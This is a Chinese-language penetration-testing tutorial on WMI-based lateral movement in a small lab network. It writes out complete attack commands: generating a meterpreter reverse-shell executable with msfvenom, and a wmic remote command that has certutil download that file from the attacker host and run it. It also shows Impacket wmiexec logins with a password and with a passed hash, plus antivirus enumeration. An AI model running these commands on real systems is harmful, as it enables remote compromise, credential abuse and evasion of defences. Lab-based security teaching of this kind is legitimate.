前言
WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。
三.利用WMI进行横向渗透
WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。利用WMI进行横向渗透的拓扑图如图1-1所示,实验环境如表1-1所示。
表1-1 利用WMI进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 10.10.10.3、192.168.1.2 |
Windows 2008 R2 | 核心靶标 | 10.10.10.4、192.168.1.3 |
1.WMIC
WMIC是Windows自带的一款用来管理操作WMI的工具。利用该工具可以针对本机进行信息收集,或者当拥有目标凭据后通过该工具远程查询信息。
1). WMIC本机信息收集
通过WMIC,我们可以查询一些系统的基本信息,如果想要查询系统启动项可以使用命令wmic startup list brief或者wmic startup get command,caption,执行结果如图1-2所示。从图中可以看出两条命令都可以查出系统启动项,只不过一个使用list,另一个使用get。
如果想要查询当前系统处于运行状态的服务,可以使用wmic service where (state=”running”) get caption, name, startmode命令,执行结果如图1-3所示。
如果想要知道当前系统运行什么杀毒软件,可以使用命令wmic /namespace:rootsecuritycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe,执行结果如图1-4所示。
使用命令wmic /namespace:rootSecurityCenter2 path AntiVirusProduct get * /value,可以进一步获取杀毒软件的详细信息,执行结果如图1-5所示。
2). WMIC远程获取Shell
在攻击机上执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=10090 -f exe > exp.exe命令来生成一个回连攻击机程序,执行结果如图1-6所示。
为了后续方便目标主机下载回连攻击机程序,我们可以在攻击机中执行python3 -m http.server 8080命令来搭建一个简单的Web服务器,成功开启该服务器后如图1-7所示。
在跳板机使用WMIC远程连接目标主机,通过攻击机的Web服务器下载并执行回连攻击机程序,使用命令执行结果如图1-8所示。其中process call create代表创建一个指定进程,这里进程设置为cmd.exe;/c则是cmd.exe的参数,后面用来设置要执行的命令。
代码语言:javascript复制wmic /node:10.10.10.4 /user:Administrator /password:Password@123 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://10.10.10.2:8080/exp.exe&&exp.exe"
命令执行成功后,我们将在Web服务器中看到请求,如图1-9所示。而MSF上也将接收到靶标机器的回连,如图1-10所示。
当然,我们也可以通过net use建立IPC$连接的方式,将木马文件复制到目标机器中,随后使用WMIC指定木马路径即可。
2. wmiexec
通过WMIC远程连接去执行命令,命令执行结果将不会回显,但是通过Impacket工具包中的wmiexec.py文件可以获得一个具有交互的shell,使用命令python3 wmiexec.py Administrator:Password@123@10.10.10.4,即可获取到目标的一个交互式会话,如图1-11所示。
当然wmiexec不仅能通过账号密码进行登录,还可以通过传递哈希值的方式进行登录。已知10.10.10.4的Administrator用户的哈希为a29f7623fd11550def0192de9246f46b,使用命令python3 wmiexec.py -hashes 00000000000000000000000000000000:a29f7623fd11550def0192de9246f46b Administrator@10.10.10.4进行连接,执行结果如图1-12所示,可以看到成功建立交互式会话。
3.wmiexec.vbs
该工具可以让我们得到回显,使用方法为cscript wmiexec.vbs /cmd 10.10.10.4 Administrator Password@123 whoami,执行结果如图1-13所示。
4.WMICHACKER
WMI是通过135端口建立连接的,WMIEXEC为了使命令进行回显,会将命令执行结果写入文本中,随后通过445端口去查看文本内容,而WMICHACKER可以不通过445端口达到命令回显的效果。对此,使用命令cscript WMIHACKER_0.6.vbs /cmd 10.10.10.4 Administrator "Password@123" whoami 1,执行结果如图1-14所示。
本篇总结
本文介绍了利用WMI进行横向渗透的方法。WMI是Windows系统自带的功能,用于管理正在运行的Windows主机。通过WMIC工具可以获取系统信息,如启动项、运行状态服务、杀毒软件等。攻击者可以利用WMIC远程获取Shell,通过攻击机搭建Web服务器下载并执行回连攻击机程序。此外,还可以使用wmiexec.py工具获取交互式会话,通过传递哈希值进行登录。wmiexec.vbs工具可以让我们得到回显,而WMICHACKER工具可以不通过445端口达到命令回显的效果
我正在参与2023腾讯技术创作特训营第三期有奖征文,组队打卡瓜分大奖!